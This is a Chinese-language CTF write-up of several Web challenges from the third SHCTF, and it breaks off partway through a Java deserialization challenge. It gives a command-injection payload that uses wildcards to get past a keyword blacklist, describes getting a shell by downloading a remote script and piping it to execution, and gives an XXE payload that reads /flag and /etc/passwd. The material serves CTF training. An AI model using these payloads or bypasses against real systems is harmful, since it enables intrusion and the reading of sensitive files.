SHCTF 第三届 Web 部分题目复盘与思路
本次复盘主要涵盖 SHCTF 第三届比赛中 Web 方向的几道典型题目,涉及命令执行、XXE、反序列化、WAF 绕过、SQL 注入、代码审计及 MCP 服务漏洞等多个知识点。以下是各题的解题思路与关键步骤。
ez-ping:命令执行绕过
靶机展示
题目提供了一个简单的 Ping 功能接口,但 flag 关键字会被拦截。
Payload 构造
由于 cat / flag 等敏感字被过滤,尝试使用通配符 ? 来绕过检测。例如使用 tail 配合通配符读取文件内容。
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'
成功回显 Flag。
源码分析与 Getshell
查看 ping.php 源码发现白名单允许字母数字、.、-、/、? 等字符,黑名单包含 cat|tac|flag|*。虽然直接拼接反弹 Shell 失败,但可以通过 curl / wget 下载脚本并管道执行的方式获取权限。
Mini Blog:XML 实体注入
攻击思路
页面支持 XML 格式提交文章,结合 Python 后端,怀疑存在 XXE(XML External Entity)注入。
Payload
构造 XXE Payload 读取 /etc/passwd 或 /flag。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<post><title>&xxe;</title><content>123</content></post>
直接回显 Flag 内容。
你也懂 java?:反序列化漏洞
靶机展示
提供了一段 Java 后端逻辑代码和 包,存在 反序列化入口。


